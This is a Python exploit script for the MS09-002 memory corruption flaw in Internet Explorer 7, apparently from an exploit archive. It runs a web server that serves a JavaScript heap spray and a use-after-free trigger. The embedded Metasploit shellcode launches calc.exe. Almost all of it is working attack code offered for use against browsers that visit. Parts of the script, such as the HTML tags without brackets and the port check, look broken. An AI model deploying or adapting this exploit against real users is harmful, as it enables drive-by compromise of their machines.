MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (fast)

#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# - Based on the code found by str0ke in the wild for MS09-002
# - Tested using Internet Explorer 7.0.5730.11 on Windows XP SP2
#
# Usage : python ie_ms09002.py [port]
#

import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):

def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# http://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6f'
payload += '\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e\x6f\x02\x3a\x4b'
payload += '\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a\x3a\x51\x4f\x03\x5a\x47'
payload += '\xe4\x36\x3a\x0f\x81\x33\x71\x97\xc3\x86\x71\x7a\x68\xc3\x7b\x03'
payload += '\x6e\xc0\x5a\xfa\x54\x56\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68'
payload += '\xe4\x0e\xfa\x85\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a'
payload += '\x6b\xc1\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02\x3a\x66'
payload += '\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e\x07\x7c\x69\xec'
payload += '\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61\xd0\x62\x0c\x2c\xd4\x76'
payload += '\x0a\x02\xb1\x0e';
return self.convert_to_utf16(payload)

def get_exploit(self):
exploit = '''

function spray_heap()
{
var payload = unescape("payload");

var ret = 0x0c0c0c0c;
var heap_chunk_size = 0x40000;

var nopsled_size = heap_chunk_size - (payload.length * 2)
var nopsled = unescape("%u0c0c%u0c0c");
while (nopsled.length < nopsled_size)
nopsled += nopsled;

heap_chunks = new Array();
heap_chunks_num = (ret - heap_chunk_size)/heap_chunk_size;
for (var i = 0 ; i < heap_chunks_num ; i++)
heap_chunks[i] = nopsled + payload;
}

function trigger_bug()
{
var obj = document.createElement("table");
obj.click;

var obj_cp = obj.cloneNode();
obj.clearAttributes();
obj = null;

CollectGarbage();

var img = document.createElement("img");
img.src = unescape("%u0c0c%u0c0cCCCCCCCCCCCCCCCCCCCCCC");

obj_cp.click;
}

if (navigator.userAgent.indexOf("MSIE 7") != -1) {
spray_heap();
trigger_bug()
} else
window.location = "about:blank"

'''
exploit = exploit.replace('payload', self.get_payload())
exploit = 'html body script' + exploit + '/script /body /html '
return exploit

def convert_to_utf16(self, payload):
# From Beta v2.0 by Berend-Jan Wever
# http://www.milw0rm.com/exploits/656
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i+j]) & 0xff) << (j*8)
enc_payload += '%%u%04x' % num
return enc_payload

def log_request(self, *args, **kwargs):
pass

def do_GET(self):
print '[-] Incoming connection from %s' % self.client_address[0]
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
print '[-] Sending exploit to %s ...' % self.client_address[0],
self.wfile.write(self.get_exploit())
print 'done'

def main():
if len(sys.argv) != 2:
print 'Usage: %s [port]' % sys.argv[0]
sys.exit(1)
port = None
try:
port = int(sys.argv[1])
if port <> 65535:
raise ValueError
except ValueError:
print '[*] ERROR: invalid port number ...'
sys.exit(-1)
try:
serv = HTTPServer(('', port), RequestHandler)
ip = socket.gethostbyname(socket.gethostname())
print '[-] Web server is running at http://%s:%d/' % (ip, port)
except socket.error:
print '[*] ERROR: a socket error has occurred ...'
sys.exit(-1)
try:
serv.serve_forever()
except KeyboardInterrupt:
print '[-] Exiting ...'

if __name__ == '__main__':
main()

# milw0rm